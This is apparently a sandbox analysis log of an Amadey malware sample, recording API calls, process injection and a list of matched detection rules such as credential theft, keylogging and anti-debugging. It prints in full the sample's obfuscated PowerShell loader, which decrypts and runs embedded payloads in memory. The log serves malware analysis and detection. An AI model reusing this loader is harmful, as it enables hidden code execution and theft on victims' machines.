base_address: 0x04db1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1688
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04db2000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1688
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04db3000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 1688
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04db4000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline C:\Windows\system32\cmd.exe /K C:\Users\test22\AppData\Local\Temp\Amadey_SC.bat
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
description Create a windows service rule Create_Service
description Communication using DGA rule Network_DGA
description Communications over RAW Socket rule Network_TCP_Socket
description Communications use DNS rule Network_DNS
description Steal credential rule local_credential_Steal
description Code injection with CreateRemoteThread in a remote process rule Code_injection
description Communications over HTTP rule Network_HTTP
description PWS Memory rule Generic_PWS_Memory_Zero
description Record Audio rule Sniff_Audio
description Match Windows Http API call rule Str_Win32_Http_API
description Match Windows Inet API call rule Str_Win32_Internet_API
description Take ScreenShot rule ScreenShot
description Escalate priviledges rule Escalate_priviledges
description Communications over P2P network rule Network_P2P_Win
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerCheck__RemoteAPI
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule DebuggerException__ConsoleCtrl
description (no description) rule DebuggerException__SetConsoleCtrl
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description (no description) rule Check_Dlls
description Checks if being debugged rule anti_dbg
description Anti-Sandbox checks for ThreatExpert rule antisb_threatExpert
description Bypass DEP rule disable_dep
description Affect hook table rule win_hook
description Communications over FTP rule Network_FTP
description Run a KeyLogger rule KeyLogger
description File Downloader rule Network_Downloader
description Create a windows service rule Create_Service
description Communication using DGA rule Network_DGA
description Communications over RAW Socket rule Network_TCP_Socket
description Communications use DNS rule Network_DNS
description Steal credential rule local_credential_Steal
description Code injection with CreateRemoteThread in a remote process rule Code_injection
description Communications over HTTP rule Network_HTTP
description PWS Memory rule Generic_PWS_Memory_Zero
description Record Audio rule Sniff_Audio
description Match Windows Http API call rule Str_Win32_Http_API
description Match Windows Inet API call rule Str_Win32_Internet_API
description Take ScreenShot rule ScreenShot
description Escalate priviledges rule Escalate_priviledges
description Communications over P2P network rule Network_P2P_Win
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerCheck__RemoteAPI
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
cmdline "C:\Users\test22\AppData\Local\Temp\Amadey_SC.bat.exe" -w hidden -c $nGwm='CCjExhangCjExeECjExxteCjExnsiCjExoCjExnCjEx'.Replace('CjEx', '');$Grmc='LoCjExadCjEx'.Replace('CjEx', '');$YsJr='InCjExvokeCjEx'.Replace('CjEx', '');$AHzA='GeCjExtCurCjExrCjExentPCjExrocCjExesCjExsCjEx'.Replace('CjEx', '');$AkCJ='ECjExntCjExrCjExyCjExPoCjExinCjExtCjEx'.Replace('CjEx', '');$EJgE='TraCjExnsCjExforCjExmFiCjExnalCjExBloCjExckCjEx'.Replace('CjEx', '');$QoAk='FroCjExmBaCjExseCjEx64SCjExtriCjExngCjEx'.Replace('CjEx', '');$lLNf='ReCjExadLCjExinCjExeCjExsCjEx'.Replace('CjEx', '');$Mppd='MCjExaiCjExnMCjExoduCjExlCjExeCjEx'.Replace('CjEx', '');$lMAH='EleCjExmCjExenCjExtAtCjEx'.Replace('CjEx', '');$vHOA='CrCjExeatCjExeDCjExecrCjExypCjExtorCjEx'.Replace('CjEx', '');$nHUE='SplCjExitCjEx'.Replace('CjEx', '');function ZkNIV($dhECG){$dQobA=[System.Security.Cryptography.Aes]::Create();$dQobA.Mode=[System.Security.Cryptography.CipherMode]::CBC;$dQobA.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$dQobA.Key=[System.Convert]::$QoAk('U+IVH6zoRvVg+wJeW7OU/9ptKS11OAh0KPlLHNIshNI=');$dQobA.IV=[System.Convert]::$QoAk('EhMSi8SwB82vWnhueU1NaA==');$JvgRx=$dQobA.$vHOA();$ynAdD=$JvgRx.$EJgE($dhECG,0,$dhECG.Length);$JvgRx.Dispose();$dQobA.Dispose();$ynAdD;}function ghLbT($dhECG){$TGHyO=New-Object System.IO.MemoryStream(,$dhECG);$VJAyt=New-Object System.IO.MemoryStream;$ixxdS=New-Object System.IO.Compression.GZipStream($TGHyO,[IO.Compression.CompressionMode]::Decompress);$ixxdS.CopyTo($VJAyt);$ixxdS.Dispose();$TGHyO.Dispose();$VJAyt.Dispose();$VJAyt.ToArray();}$fcFDN=[System.Linq.Enumerable]::$lMAH([System.IO.File]::$lLNf([System.IO.Path]::$nGwm([System.Diagnostics.Process]::$AHzA().$Mppd.FileName, $null)), 1);$rVKhz=$fcFDN.Substring(2).$nHUE(':');$NPuxV=ghLbT (ZkNIV ([Convert]::$QoAk($rVKhz[0])));$pjujA=ghLbT (ZkNIV ([Convert]::$QoAk($rVKhz[1])));[System.Reflection.Assembly]::$Grmc([byte[]]$pjujA).$AkCJ.$YsJr($null,$null);[System.Reflection.Assembly]::$Grmc([byte[]]$NPuxV).$AkCJ.$YsJr($null,$null);
cmdline C:\Windows\system32\cmd.exe /K C:\Users\test22\AppData\Local\Temp\Amadey_SC.bat
Process injection Process 2228 resumed a thread in remote process 292
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x00000088
suspend_count: 0
process_identifier: 292
1 0 0